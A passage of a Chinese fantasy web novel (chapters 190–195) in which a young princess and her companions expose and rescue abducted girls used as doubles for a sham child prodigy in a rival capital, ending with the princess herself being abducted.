他顿了顿:“那烈国仙使气运之盛,远超贫道所料,贫道欲提前启动窃运阵。”
公孙驰抬眸:“可有风险?”
“世上之事,皆有代价,且看陛下以为,是否值得一搏。”
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第190章 神童给咱们赐福来啦
姬峰大步走进屋内,冲着几个大人点了下头算是打招呼,径直走向了团团。
团团伸开小手,姬峰顺势一把将她抱起,掂了掂:“不错啊,比上次在烈国时重了不少。”
团团小嘴一撅:“你怎么也这样!我又不是小猪!”
姬峰哈哈大笑。
萧二拱手道:“姬兄!别来无恙!”
姬峰上下看了看他:“恢复得不错。”
团团搂着他的脖子:“二叔叔的伤早就好啦!姬叔叔,你怎么来了?”
姬峰抱着她随便拣了张凳子坐下:“大夏到处散播消息,搞那个什么神童狗屁大典。”
“本来呢,我没什么兴趣,可咱们那个姬团通市已经弄好了,我闲着难受,一想,搞不好你也会来,反正也没事儿,就过来看看。”
萧泽对着他拱手:“多谢姬兄今日屡次相助。”
姬峰满不在乎:“本来呢,我跟你们烈国和他们大夏,井水不犯河水,但谁让团团跟我投缘,对我的脾气呢。”
“我西卢又不怕他大夏,他敢让团团不痛快,我便让他也不痛快。”
团团在他的脸上蹭了蹭:“姬叔叔真好!谢谢姬叔叔。啊!你的胡子!好扎啊!”
姬峰哈哈大笑。
团团从衣领中掏出姬峰送自己的狼牙:“你看,我一直都戴着呢。”
姬峰低头看了一眼,捏了捏她的小脸:“真乖!”
姬峰看向萧二:“你们还不打算走?”
萧二被他问得有点懵,望向了萧宁辰。
萧宁辰冲着姬峰拱手:“宁王次子,萧宁辰。多谢姬兄对我妹妹的回护之情。”
“我们此次之所以来,是因为……“他将事情的来龙去脉讲了一遍。
“因此,“他笑了笑,学着方才姬峰的说法,”这个神童狗屁大典没完,暂时还不能离开。”
姬峰点了点头:“原来如此,这个大夏国师一把年纪了,总盯着团团你们不觉得奇怪吗?”
萧宁珣回道:“据说公孙止是他的徒弟,团团令他在我烈国的求雨大典上颜面扫地,应是为了此事吧。”
姬峰看了他一眼:“你是?”
团团接口:“他是我三哥哥!”
姬峰看了看宁王二子:“可以啊,你这几个哥哥,宁王府还当真都是人才。”
团团自豪地抬起小下巴:“那当然啦!我的哥哥都是最好的!”
萧泽问道:“那我呢?”
团团一脸奇怪:“你当然也是啦!你是我的大三哥嘛!”
萧泽满意地笑了。
姬峰难得正了正脸色:“你们有国师,我草原也有大巫。”
“我来之前,大巫曾预言,‘鹰见双月,吉星将坠于龙巢’”。
众人互相看了一眼,都是一头雾水。
萧二问道:“还请姬兄指教,究竟是何意?”
姬峰回道:“我怎么知道,反正不是什么好意思。”
萧泽看着团团:“团团,你听得懂吗?”
团团摇了摇头:“听不懂。”
姬峰将手放入口中,轻轻一吹,发出的声音像极了鹰隼的叫声。
外面脚步声响起,一个身穿西卢服饰,同姬峰一样满脸络腮胡子的大汉走了进来。
姬峰冲着怀里的团团努了努嘴:“就是她,从今日起直到她离开大夏,给我护好了。”
那大汉仔细看了看团团:“好的,奴家知道了。”
萧宁辰一口茶水没忍住直接喷了出来。
竟然是娇滴滴的女子声音!
团团愣住了,看着姬峰:“姬叔叔,我该怎么叫她啊?叔叔,还是姨姨?”
姬峰得意地笑了:“她啊,没人知道她究竟是男还是女,年龄多大。不过也是啊,你怎么喊她呢。”
那大汉的的声音突然又变成了一个十足的老者:“就喊老夫青青吧。”
团团惊呆了:“青青,你好厉害啊!”
大汉笑了笑,退了出去。
团团很奇怪:“青青怎么走了,不跟我在一起吗?”
姬峰摇摇头:“她不跟你一起,但你在哪里,她就在哪里。”
萧二站起行礼:“多谢姬兄!”
姬峰摆了摆手:“大夏人肯定会盯着我,但他们拿我没办法,可团团不一样,谁让她如今成了大夏人的眼中钉呢。”
他将团团放下,揉了揉她的小脑袋,抬手一指:“我就住在出门左拐不远的那个驿馆,有空过来找我吧。”
说罢告辞而去。
萧宁珣看着他的背影:“这姬峰,来去如风,真跟草原上的鹰一样。”
两日后,正午,阳光正好。
团团在驿馆里跑来跑去,把石阶上的蚂蚁都数了三遍,实在寻不到新鲜玩意儿了,便跑去扯萧二的衣角。
“二叔叔,我们出去走走嘛,就在门口,好不好?”
萧二看向萧宁辰,眼含恳求,小姐太可怜了。
萧宁辰想了想,妹妹连日来在这小小的驿馆也确实憋闷:“去吧,别走远,就在附近走走,速去速回。”
“是。”
二人走出驿馆,热闹的烟火气扑面而来,团团高兴地蹦蹦跳跳,一个摊子一个摊子地逛个不停。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!突然,街上传来众人的惊呼声。
“让开!都给小爷让开!”一名华服少年纵马狂奔,丝毫没顾及街上惊慌躲避的行人。
人群顿时乱作一团。
混乱中,一个怀抱婴孩的妇人被人群挤得一个踉跄,眼看就要摔倒在地。
“小心!”
萧二冲了过去,铁臂一伸,将那惊慌失措的妇人拉住,顺势旋身,堪堪避开了擦身而过的马蹄!
那纵马的少年却连头都未回,径自远去。
“多谢恩公!多谢恩公!”妇人脸色煞白,惊魂未定,抱着孩子就要下跪。
萧二连忙扶起:“不必。”
团团跑了过来,踮起小脚伸出手轻轻摸了摸娃娃的脸蛋:“小弟弟不哭哦,没事啦。”
那娃娃被她摸了摸,哭声渐渐小了下去,但始终抽噎,停不下来。
团团扯了扯萧二的衣袖:“二叔叔,小弟弟好像吓到了,咱们带他们去找个大夫看看吧?”
萧二点头,向周围人问清了附近医馆所在,带着母子俩走了过去。
老大夫诊脉后:“确是惊到了,无妨,将这个药磨成粉,拿水冲了,吃上几日即可。”
萧二默默付了诊金药费,团团又从自己的小荷包里掏出几块碎银子,塞进妇人手里:“给你。”
妇人眼圈一红,泪水滚落下来,连连道谢。
医馆内外的百姓将这一切皆看在眼里,纷纷赞叹不已。
“那不是烈国仙使吗?那救人的黑脸汉子,好像也是烈国人。”
“都是好心人啊!”
“看来,烈国也不全是坏人嘛。”
出了医馆,萧二领着团团刚想回去,长街的尽头处突然传来一阵喧哗。
“神童来了!大家快来!神童给咱们赐福来啦!”
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第191章 我会和团团姐姐一起回来的
团团很纳闷,公孙止又出来了?
“二叔叔,抱!咱们去看看!”萧二俯身将她抱起,向人群的方向走去。
只见长街尽头,众人如潮水般向两侧分开,越来越多的人满脸虔诚地跪在街道两旁。
公孙止穿着一身纤尘不染的月白袍,步履从容,神情淡漠,在几名身着同样白袍、手持拂尘的道童簇拥下,缓缓穿行于跪拜的人群之中,宛如神只行走于凡尘。
一名道童手中捧着一个紫铜净瓶,亦步亦趋地跟在他身侧。
公孙止停下脚步,从净瓶中拈出一根翠绿的柳枝。
他手腕轻抖,将柳枝上晶莹的水珠洒向跪拜的百姓,声音空灵,喃喃轻唱:“甘露洒凡尘,涤尔俗世埃。”
被水珠洒中的百姓激动得浑身颤抖,连连叩首:“多谢神童赐福!多谢神童!”
公孙止走到她们身前,伸出手,挨个轻轻抚摸着她们的发顶。
他神情悲悯:“抚顶授长生,安享福寿康。”
所有人都伸长手臂,垂下头,渴望能得到神童的亲手赐福。
萧二抱着团团站在人群外围。
他的脸好了?又跟以前一模一样了?
团团睁大了眼睛,一眨不眨地盯着公孙止。
突然,团团冲着他摇晃着双手大喊:“喂!公孙止!是我啊!”
公孙止抬起头望向声音的来处,看到团团挥舞的双手后,微微颔首,没再理会,继续向前走去。
“二叔叔,你有没有发现,他不认识我了。”
萧二也是一脸困惑:“是啊,我也觉得奇怪,他看到你一点反应都没有。”
他看了看那些跪倒在公孙止脚下的百姓:“看来,宫廷里的事并没有传到民间,这些百姓还是如此信服他。”
团团想了想:“二叔叔,咱们回去吧。”
“嗯。“萧二应了一声,抱着她回到了驿馆。
刚走进驿馆大门,团团便喊了一声:“青青!你在吗?”
萧二脚步一顿,环视周围,只有几个驿馆的仆役在洒扫,无人应声。
他抱着团团继续走向屋内。
一个刚刚在洒扫的仆役跟了进来,萧二回头:“多谢了,这里不用。”
那仆役开口:“郡主,请问有何吩咐?”
萧二一惊:“你是,青青?”无论是身材还是相貌,都看不出上次见面时那草原大汉的半点踪影。
仆役点了点头。
团团从萧二怀里滑了下来,仰起头看她:“青青,我想请你帮我个忙。”
“郡主请讲。”
团团指了指外面:“你能不能跟着那个神童,看看他最后回到哪里。”
“是。”仆役退了出去。
傍晚,那个最初的高大草原汉子再度出现在屋内。
他声音粗犷:“郡主,在下一路跟着神童,发现他最后回到了国师府。”
萧宁珣想了想:“公孙止本就是国师的徒弟,回到国师府也算顺理成章。”
团团撇了撇嘴:“可是,他的脸明明坏了啊!怎么会突然好了?而且,他根本不认得我了啊!”
萧宁珣也不是一脸不解:“是啊,真是奇了。”
团团眼睛一亮:“咱们去国师府看看吧。”
“不行!”萧宁辰马上否决,“大夏国师深不可测,你怎么能去?绝对不行!”
团团鼓起了腮帮子,一脸的不服:“可是,如果不去看看,怎么知道到底是怎么回事儿呢?”
“奴家倒是有个办法。”大汉再度发出了娇滴滴的女子声音,“那国师府中小道童无数,只需将郡主打扮成道童,我便可带着她蒙混过关。”
萧宁辰脑袋都大了:“青青,你现在这个模样,能不能别用这个声音,我实在是受不了。”
萧泽忍不住低头偷笑。
团团跑过去拉着青青的手:“青青,你的声音很好听哦!下次你换一身女孩子的衣服,再那么说话,二哥哥就不会说你啦!”
大汉哈哈一笑,随即再张口时,竟是软软的女童音:“好啊!团团姐姐,人家就听你的啦!”
团团开心地大笑起来:“哈哈哈,青青,你太可爱啦!”
萧宁辰双手捧住了自己的头。
他稳了稳:“总之不能让团团去国师府,太危险了,这里我功夫最好,我跟你去探探。”
青青想了想:“又不是去打架,功夫好没用。你们目标太大,我带着她,扮成道童进去,反而最安全,”
“若是不放心,你们大可以在外面制造些混乱出来,牵制住他们,我们快进快出即可。”
萧宁辰依旧不同意,萧二也摇头:“太危险了。”
连一向从没有拒绝过团团的萧宁珣都默不作声。
团团耷拉着脑袋,不高兴了。
萧泽看着团团那沮丧的小模样,叹了口气:“这样吧,这件事听我的。”
“今晚,我以皇子身份去拜见巫罗,与他谈经论道,想办法将他拖住。”
“你们在外面制造混乱,让他以为咱们是声东击西,重点在外不在内,而我拖住他是为了你们,这样他就不会再去关注自己的府中了。”
“青青带着团团乔装潜入。”
青青点了点头:“可行。”
团团开心极了,蹦起来扑到了萧泽的怀里:“大三哥真好!”
萧泽捋了捋她额前碎发:“不过,你必须答应我,一个时辰内出来,无论你们看到了什么,都必须出来,只有一个时辰。”
“这里毕竟是大夏国都,你哥哥们只能虚张声势,不可能当真做什么的,所以,绝对不能拖哦!知道吗,团团。”
团团重重点头:“嗯!知道啦!我保证,一个时辰内一定和青青一起回来!”
青青软软的童音再度响起:“我也知道啦,我会和团团姐姐一起回来的,哥哥们都放心吧。”
萧宁辰猛地起身往外走。
团团急忙追了上去,拉住了他的大手:“二哥哥,你别生气好不好?”
萧宁辰顿住脚步,低头看着妹妹,无奈道:“我没有生气,我是去给你安排,今晚怎么配合你。”
“哦!”团团笑了,“谢谢二哥哥!”
当晚,萧泽一身皇子打扮,带着两个护卫,来到了国师府。
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第192章 我都开始胡说八道了
巫罗正闭着眼坐在椅中,听着下属的禀告。
下属战战兢兢:“那烈国仙使和她的护卫,在大街上救了一对险些被马踏伤的母子,还将她们送去了医馆,付了诊金给了银子。”
“神童赐福时,他们站在远处看着,烈国仙使喊了神童的名字,见神童没有反应,便回驿馆了。”
巫罗睁开眼睛,笑了:“救人?好啊。”
又一个下属匆匆走了进来:“国师大人,烈国七皇子在外求见。”
巫罗站了起来:“来者不善。吩咐所有人,严守门户。”
“将七皇子请到正厅。”
“是!”
萧泽随着一个道童来到了正厅,扫视四周。
陈设简单,毫无奢华之气,倒是颇有几分修行之人应有的沉静持重之感。
巫罗身穿道袍,缓缓走进来:“稀客啊,七殿下,不知星夜来访,有何贵干?”
萧泽拱手:“久闻国师大名,特来拜会。”
“孤自幼便读《道经》五千言,常思其妙理。国师乃得道高人,道法通玄,今夜冒昧,愿与国师坐而论道,聆听高见。”
巫罗道:“七殿下客气了,请坐,上茶。”
萧二驾车将已经装扮成小道童模样的青青和团团送到了国师府一处不显眼的院墙外。
“小姐,千万小心!青青,请一定护好了她,你们要切记,只有一个时辰。”
“外面纷乱一起,你们就要赶紧脱身。”
两人点了点头,团团道:“放心吧,二叔叔!”
青青抱着团团翻身上了屋顶,无声的疾驰了片刻后,轻飘飘地落在了后院。
团团兴奋异常,低声道:“青青,你太厉害了。”
青青微微一笑,指了指后院的一个小门:“今日那神童回府后,便是从这个小门进去的。”
团团点了点头。
青青侧耳贴在门上听了片刻,指尖寒光一闪,门锁处“咔哒”一声轻响。
她轻轻推开一条缝隙,两人闪身而入。
青青转身将门无声地掩好。
门内是一条向下延伸的幽深甬道,墙壁上每隔一段距离嵌着一盏昏黄的油灯,勉强能看清楚向下的石阶。
青青拉着团团的小手,沿着石阶缓缓而下。
甬道曲折,深入地下。
越往下走,一股药味便越发浓郁。
走了约莫一炷香的功夫,前方隐约传来光亮和人声。
青青示意团团噤声,两人背贴着冰冷的石壁,悄悄靠近甬道尽头。
那是一扇虚掩的石门,门外放着一个很大的木箱,门内透出了明亮的光线,一阵低低的诵经声隐隐传了出来。
青青从门缝中谨慎地朝内望去,脸色顿时一变。
她蹲下身,将团团抱到能看清门内的位置,示意她不要出声。
团团好奇地朝里面望去。
只见里面空间宽阔,地上画着一个巨大的复杂阵法,纹路扭曲诡异,令人看着便觉得头晕目眩。
阵法之中,整整齐齐地坐着五个女童!
她们全都穿着和公孙止一模一样的月白道袍,梳着一样的发髻,甚至连体型都相差无几。
所有的女童都低垂着头,双眼紧闭,面色苍白,如同精致却毫无生气的陶瓷娃娃。
她们的嘴不停开合,低声念诵着什么。
阵法的周围,站着几名手持拂尘、面无表情的道人。
最前方的一个略高的平台上,赫然坐着团团今日在街上见到的公孙止!
他也同样紧闭双眼,神情淡漠,与那些女童一般无二。
昏暗的烛火下,只见他面如银盘,五官精致,眉间一点鲜红的朱砂痣,同公孙止最是相似,几乎一模一样。
一个道人走到她面前,从袖中掏出了什么,在她的脸上忙活了一阵。
待那道人转身离开,女童脸上的朱砂痣不见了,皮肤和五官也全都变了模样。
团团瞬间全明白了。
公孙止的脸根本就没有好!
这些女童,不过是被他们用什么方法控制住了!
难怪他不认识自己,因为他根本就不是公孙止!
阵法中的一个女童似乎体力不支,身子微微晃动了一下,旁边的一名道人立刻瞪起了眼睛,上前一步,用手中的拂尘柄毫不留情地戳向她的肩头。
女童浑身一颤,猛地睁开了眼睛,脸上全是痛苦和恐惧,随即努力挺直了小小的身子,不敢再动弹分毫。
团团生气了,很生气。
这
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些坏蛋!
这些小姐姐定是从哪里抓来的,这些坏蛋就为了那个偷神,把她们变成这个样子!
团团的小拳头紧紧攥了起来,低声道:“青青!咱们得把她们救出去!”
青青点了点头。
她仔细观察着里面的布局,道士的人数和位置,以及那些女童的状态,心中飞快地盘算着。
硬闯肯定不行,她们只有两个人,带着这么多明显状态不对的孩子,根本不可能从这个地方杀出去。
必须另想办法。
一阵略显急促的脚步声从她们下来的甬道上方传来。
青青脸色一变,立刻抱着团团,迅速闪到木箱后面,屏住了呼吸。
只见一名道人快步从甬道下来,径直进入石门,对着里面的一个道人禀报。
“师兄,外面有些不对劲。附近不知为何突发混乱,已经惊动了巡城的卫队。”
那道人眉头一皱:“国师大人此时正在见烈国皇子,无暇分身。”
“吩咐下去,加强戒备,尤其是此地,绝不可出任何纰漏!为了神童显圣大典,绝不能功亏一篑!”
“是!”
那道人领命,匆匆而去。
团团和青青对视了一眼。
哥哥们已经开始了!
时间不多了!
团团焦急地四处看着,忽然,她的目光落在了那些昏黄跳跃的油灯上,又看了看自己藏身的木箱。
她贴在青青耳边,飞快地说出了自己的想法。
青青看着她,缓缓点了点头。
正厅内,巫罗正听着匆匆而来的下属禀告着街上的混乱。
他微笑着看向萧泽:“看来,七殿下是有备而来啊。”
萧泽佯装困惑:“国师何意?孤甚是不解,莫非这天启城,一直平安太平,从未有过丝毫纷乱?”
“贵国真是治理有方啊!”
巫罗笑了笑:“有贫道在,这天启城,便乱不起来。”
萧泽感叹:“国师果然是高人啊!”
他一脸恳切:“不知国师是否愿意,来我烈国,传经引道?”
巫罗闻言一愣。
萧泽脸上微微发烫,团团啊,你出来了吗,我都开始胡说八道了。
你可千万要平安啊。
第193章 被发现了!拼吧!
青青打开木箱,里面装着的是全是布幔。
好!刚好用得上!
她抱着团团后退了几步,指尖一弹,一点火星落入木箱中。
“呼”的一下,火苗窜起,逐渐变大,迅速蔓延开来,甬道内顿时浓烟滚滚!
“走水了!快救火!”
“保**阵!快!”
道人们乱成一团。
那些原本端坐在阵法中的女童们,被这突如其来的变故惊吓到,长期的压抑和恐惧瞬间爆发,一个个都吓得哭喊尖叫起来,本能地挣脱了浑噩的状态。
她们像受惊的小兔子般朝着唯一的石门涌去。
团团和青青趁乱混入哭泣的女童群中,一起跑出了地下,回到了后院。
清新的空气让女童们清醒过来,抱成了一团,围坐在院子的地上,嘤嘤哭泣。
府中的侍卫和道人都被吸引了过来,打水的打水,救火的救火,急匆匆跑来跑去。
见到这一群哭哭啼啼的“神童”坐在地上,只当她们是自己逃命跑出来的,都没有去过问。
眼下火情紧急,谁都来不及管她们。
团团低头解开腰间的绣囊,掏出了一块看起来灰扑扑的碎布头,用力往女童堆中一扔!
她小声嘟囔了一句:“看不见她们跑掉!”
青青瞪大了眼睛,惊讶地看到,碎布头在一道微光中消失无踪。
女童们周围的气流开始水一样的荡漾波动,向四周扩散开来。
团团低声道:“青青,快!”
青青立刻动了。
她身手利索,每一次闪身,都能悄无声息地夹起两个女童,在她们耳边轻声道:“别喊,救你们出去。”
清醒过来的女童们都非常配合,任由青青夹着,越到屋顶,迅速来到了围墙边。
而在匆匆跑过的侍卫和道人们眼里,那群女童依旧围坐在原地哭泣,没有任何异样。
墙外,萧二正紧张地等待着。
青青将女童递到马车上,迅速翻上屋顶,继续去救剩下的。
萧二让女童们钻进马车,仰头盯着墙头,小姐,你怎么还不出来?
两个,四个,六个,就差团团了!
正厅中,一名道人匆匆而入,在巫罗耳边低语了几句。
巫罗的脸色瞬间沉了下来。
他猛地站起:“七殿下,府中突发急事,贫道失陪了!送客!”
萧泽急忙站起:“国师留步!”
巫罗恍若未闻,大步流星地向后院走去。
萧泽望着他匆忙的背影,心都提到了嗓子眼。
他跨步向前,想跟上去。
来报信的道人伸手拦住了他:“七殿下请回吧。”
团团,你出来了吗?
萧泽看了他一眼,转身匆匆离开。
青青抱起团团,足尖一点,轻盈地跃上屋顶,刚想离开。
巫罗疾步而至,一声大喝:“怎么回事儿!那些女童呢?”
下属伸手一指:“都在那儿,国师,火起得太急,她们自己逃出来了。”
巫罗顺着他手指的方向看去。
不对!
手中拂尘朝着那哭啼的“女童”们身上用力一扫!
那逼真的幻象剧烈晃动了一下,随即便如同泡影般碎裂、消散,露出了空无一人的地面!
“人呢?”旁边的道人和侍卫们全都惊呆了。
巫罗脸色铁青,猛地抬头,目光落在了大气都不敢出的青青和团团,趴着的屋顶阴影中!
“在上面!给我拿下!”
无数侍卫立刻围了过来,有人张弓搭箭,有人翻身上房。
青青将团团抛到背上:“抓紧!”
被发现了!拼吧!
他拽出围在腰间的软剑,猛地站起,准备迎敌。
团团飞快从绣囊中摸出了一小簇灰黑色的绒毛,那是前几日她在驿馆地上捡到的,不知道是什么东西身上掉落的绒毛。
她将绒毛扔向空中:“不管你是什么!快来救我!所有的都来!”
微光一闪,绒毛消失了。
几个跃上屋顶的侍卫,已经将青青团团围住,猛地一齐扑了上来。
“扑棱棱——!”
“吱吱——!”
突然,夜空中传来了无数翅膀扇动的声音,伴随着诡异的低低的鸣叫!
仿佛一大片乌云从天而降。
数不清的蝙蝠,黑压压地从四面八方冲着国师府的后院俯冲下来!
它们尖叫着,毫无章法地扑向除了青青和团团以外的每一个人。
有的用翅膀使劲拍打,有的用爪子用力抓挠。
“啊!什么东西!”
“是蝙蝠!好多蝙蝠!”
“滚开!快滚开!”
所有人顿时大乱,刚翻上屋顶的几人无法站稳,直接掉了下去。
众人挥舞着刀剑、手臂,狼狈地驱赶着扑到脸上和身上的蝙蝠,手忙脚乱,惊慌失措
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就连巫罗,也被数只格外凶悍的蝙蝠缠住了,不得不摆动拂尘,将其扫开,脸色难看至极。
团团趴在青青背上,瞪大了眼睛好奇地看着眼前的景象:“哇!这是什么鸟呀?翅膀这么小?好奇怪哦!”
青青:“……”
现在不是琢磨这个的时候啊小祖宗!
她掉头便跑,在看到墙外的马车时,一跃而下,稳稳地落在了车辕上。
“走!”
早已等候多时的萧二猛地一抖缰绳:“驾!”
马车迅速混入街道,消失在黑暗中。
团团刚刚离开,蝙蝠群便如来时一般突兀地散去,众人放下手中刀剑,大喘着气,个个惊魂未定。
巫罗僵立原地,脸色阴沉得能滴出水来。
他看着眼前的属下,想起故意拖住他的烈国皇子,怒不可遏。
自己精心挑选,仔细调教,给公孙止做替身的女童们全都不见了!
如今公孙止每日状如疯癫,连出来见人都不敢。
这神童显圣大典还怎么办?
如若取消,大夏岂不是成了一个天大的笑话!
自己该如何同陛下交代?
一个道人看着他,胆战心惊地问道:“国师大人,这可怎么办?是否要马上去烈国人的驿馆搜查?”
巫罗冰冷的目光扫了过去,手中拂尘猛地向那人挥去。
那道人惨叫一声,滚倒在地,片刻后,便没了声息,一张脸焦黑如炭。
所有人全部跪倒:“国师饶命!”
巫罗深吸了口气,转身离开。
马车在街上兜了几个圈子,确认无人尾随后,停在了西卢驿馆附近的一条暗巷中。
依旧是由青青将女童们一一从房顶上送到屋内。
萧二道:“多谢了,我们必须先回去,以防他们来驿馆搜查。”
“去吧,我会照顾好她们。”青青回道。
萧二带着团团,回到了烈国人的驿馆。
一进门,萧宁珣便将妹妹猛地抱了起来,一颗心这才落在了肚子里。
“团团,你吓死哥哥了!”
团团非常开心:“三哥哥,我和青青把她们都救出来啦!”
巫罗独自来到密室。
密室中的陈设已经全部不见,地上只有一个猩红的巨大阵法。
他解开衣襟,脱下外袍,掏出**,划破了自己的胸膛,以手蘸血,伏在地上,细心地画了起来。
第194章 又是骗小孩的!
驿馆内。
团团才绘声绘色地将青青和自己今晚的壮举讲完。
青青便来了,这次,是一身大夏百姓的装扮。
“青青!”团团扑了过去,“多谢你啊,青青!要是没有你,那些小姐姐便救不出来了。”
经此一行,青青是真心地喜欢了团团。
他柔声道:“我做的是大家都能做的,你做的才是旁人做不到的啊,小郡主。”
萧二问道:“青青,那些女童?”
青青领着团团走到桌边坐下:“我正是为此事而来。”
“你们可知,那些女童,都是烈国人,且全部来自京城。”
“京城?”萧宁珣惊讶了,他突然想起了什么,“团团,我记得,那次你被人掳走,那些贼人就是说要将你送到大夏,对吧。”
团团恍然大悟:“原来,就是送她们来当公孙止啊!”
萧泽也明白了:“难怪要从京城这么远的地方送过来!”
“公孙止成天在大街上给万千百姓赐福,若是用大夏的孩子,万一被人认出来,岂不是要出大乱子。”
“京城的孩子比起边关的,长相举止确实更接近公孙止。”
“卑鄙!“萧二恨恨的道,”她们自己的不敢用,就如此糟蹋咱们烈国的百姓,当真是可恨之极!”
萧宁珣心最细:“那公孙止被巫罗选中,四处宣扬成为神童,想来也是有原因的。”
“但看来巫罗早已做好准备,若是他不能用了,便用这些女童来替代。”
“宫宴上,公孙止那般做派,想来是已经用不上了。”
“如今这些女童也没了,这显圣大典,大夏怕是搞不起来了。”
萧宁辰冷哼一声:“搞不起来最好!招摇撞骗,哗众取宠的东西,早该结束了。”
团团一听开心了:“三哥哥,若是那个什么大典不办了,咱们是不是就可以回家了?”
萧宁珣笑了:“对啊,如今距大典只有几日了,这办不成的圣旨啊,应该这两日便下来了。”
“待圣旨一下,咱们就可以打道回府啦!”
图团直接蹦了起来,满屋子到处跑:“回家啦!我要回家啦!祖祖!爹爹!娘亲!大哥哥!我马上就能见到你们啦!”
一屋子大人看着在地上出溜出溜跑着的小团子,都笑了起来。
萧泽对青青正色道:“有了今晚这一出,大夏人之后定是要紧紧盯着我们。”
“那些女童怕是还要劳烦你们照顾一段时间,不如便请你们带走,回去时,交予我烈国边关城池的官员,由他们接手送回京城。”
“我给你们手书一封,必不会给你们惹出什么麻烦。”
青青点了点头:“有劳七殿下。”
团团想起姬峰:“姬叔叔呢?他去哪儿了?”
青青撇了撇嘴:“左不过就是去哪里吃酒去了。”
团团打了个哈欠,萧宁珣急忙站起,走过去牵起了她的小手:“忙碌一夜了,团团也累了,都歇息吧。”
青青告辞而去,众人回到自己的房间,这一觉,直睡到了次日正午。
众人才刚用完午膳,圣旨便来了。
“奉天承运皇帝,诏曰:神童公孙止,秉性聪慧,夙有慧根,今感神明召引,需闭关静修,参悟玄机,以契天道。”
故,原定之神童显圣大典,着即取消。尔百官万民,当体天意之深,各安其位,勿得妄议。布告天下,咸使闻知。钦此。”
众人听了,都暗自微笑,果然!
萧宁辰道:“这大夏皇帝还挺会往公孙止脸上贴金,什么神明召引,需闭关静修。哼!”
萧宁珣微微一笑:“二哥,这是昭告天下的圣旨啊!”
“你还想让他明说不成?若是明说神童已废,那必然是谣言四起,这大夏,还不彻底乱了?”
团团听不懂这些说辞:“三哥哥,这圣旨的意思是不是说那个大典不办了?”
萧宁珣点点头:“对!就是这个意思!只不过是言辞华丽,往好听了说罢了。”
团团高兴地拉起萧二的手就往外走:“走啊!二叔叔!咱们去看看有什么好东西,买了带回去给娘亲他们啊!”
萧二一脸询问地看向萧宁辰。
萧宁辰点了点头:“三弟,你同他们一起,再带上两个人。有什么想买的,都听团团的吧。”
团团兴高采烈的拉着萧二和三哥,在天启城中逛了起来。
短短两日,团团便买了一大堆的东西,把家里人都安排得明明白白。
一切准备妥当,次日便要起程。
当晚,萧二将姬峰和青青一同请来了驿馆。
萧宁辰大手一挥,直接在城中最好的酒楼叫了一桌上等的席面,在院内摆开。
没有外人,无需拘礼,众人围坐一桌,气氛热烈。
归家就在眼前,怎能不让人开怀?
姬峰更是豪迈,直接拍开酒坛的泥封,给在座所有能喝酒的人都满上了。
姬峰举起海碗:“来!为了咱们小团团此番大获全胜,干了这一碗!”
“干!”萧宁辰毫不示弱,仰头一饮而尽。<
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br>萧泽和萧宁珣则斯文得多,都是浅酌即止。
团团不能喝酒,捧着一碗甜甜的奶酪,也学着大人的样子,咕咚咕咚喝了一大口,嘴边顿时沾了一圈白沫,如同长了奶胡子,逗得众人哈哈大笑。
酒过三巡,菜过五味,气氛愈发酣畅。
姬峰忽然起了兴致:“萧家老二!敢不敢跟我过过招?”
萧宁辰本就因大敌已破而心怀畅快,闻言剑眉一挑,毫不怯场:“有何不敢!”
两人当即起身,在空地上摆开架势,斗在一处。
萧宁辰招式大开大合,势大力沉,姬峰则彪悍灵动,拳风呼啸。
两人你来我往,拳脚相交,看得众人眼花缭乱,连声叫好。
团团兴奋地站在凳子上,挥舞着小拳头:“二哥哥加油!姬叔叔加油!”
最终,两人对了一掌,各自震退了几步,相视片刻,同时爆发出一阵爽朗的大笑。
姬峰抹了一把额头上的汗:“痛快!痛快!”
萧宁辰拱手:“姬兄,好功夫!”
姬峰坐回座位,又灌了一大口酒,看着因为即将回家而兴奋的小脸通红的团团,轻轻叹了口气。
“回家了,真好啊。草原虽大,但也有草原的烦恼啊。”
萧宁珣心思最为细密:“姬兄雄踞草原,快意恩仇,难道还有什么烦难之事?”
姬峰闻言,猛地仰头将碗中残酒一口饮尽:“哈哈!我能有什么烦恼!”
“天大的事,也不过是一壶酒,一把刀!若当真待得不痛快,大不了,老子一走了之!”
他笑得洒脱,但那“一走了之”四个字,却令萧宁珣眉头微蹙。
直至夜深,宴席方散。
姬峰与青青告辞离去。
次日正午,驿馆门口。
车马早已备好,行李也全部装完,几个大人都在忙着检查文书,查看马匹,护卫们查看着车轴等物。
团团在马车旁蹦蹦跳跳:“回家啦,回家啦!马上就能见到爹爹娘亲啦!”
街对面突然响起了一个孩子凄厉的哭喊声:“放开我!我不认识你!你不是我娘!救命啊!”
众人循声望去,只见一个面色焦急的妇人,正用力拉扯着一个约莫五六岁的小男孩。
那孩子拼命向后挣扎,小脸涨得通红,眼泪鼻涕糊了一脸。
妇人呵斥着:“你这孩子!怎么这么不听话呢!快跟娘回家!”
“你不是我娘!我不跟你走!救命!”
又是骗小孩的!
团团想都没想便冲了过去。
第195章 让你心甘情愿
“小姐!”
坐在车辕上的萧二身形暴起,冲着团团的背影便冲了过去。
突然,上百个看似普通的大夏平民涌到,瞬间便挤满了并不宽阔的街道。
如同一堵厚实的人墙,结结实实地挡在了萧二和团团之间!
“让开!”萧二怒吼一声,足尖一点,腾空而起,越过了人墙。
但是,眼前的情景让他浑身一凉。
空了!
街对面空空如也!
不仅团团不见了踪影,连那对争执的母子也消失得无影无踪!
团团不见了!光天化日之下,就这么不见了!
“小姐!小姐——!”萧二大喊着,没头苍蝇般在街上扒拉开人群疯狂找寻。
“团团!”
萧宁辰一声嘶吼,双眼瞬间赤红,他猛地拔出腰间佩剑,对着方才那些突然出现的平民就要冲过去砍!
“二哥!不可!”
萧宁珣死死抱住了他:“这些都是普通百姓!杀了他们,咱们就彻底不占理了!岂不正中敌人下怀!”
“滚开!”萧宁辰使劲挣扎,完全状若疯癫。
“所有人!”萧宁珣扭头对着护卫,“去找!都去找!快!他们一定还没走远!”
“是!”护卫们一齐下马,在大街上疯狂地搜寻起来。
萧泽走到萧宁辰面前,按住他的肩:“咱们不能乱啊,乱了就更找不到团团了。”
萧宁辰停止了挣扎,慢慢冷静了下来。
萧泽颤抖着手,从怀中掏出了自己烈国皇子的令牌:“我即刻进宫去见大夏皇帝,你们继续找,咱们驿馆会合,再商量后面怎么办。”
萧宁珣点了点头,拉着二哥也走进了人群去寻找团团。
萧泽直奔大夏皇宫。
格桑宫内。
公孙驰听完萧泽所言,脸上露出了恰到好处的震惊。
“竟有此事?”
“在我大夏国都,烈国仙使竟遭歹人劫掠?”
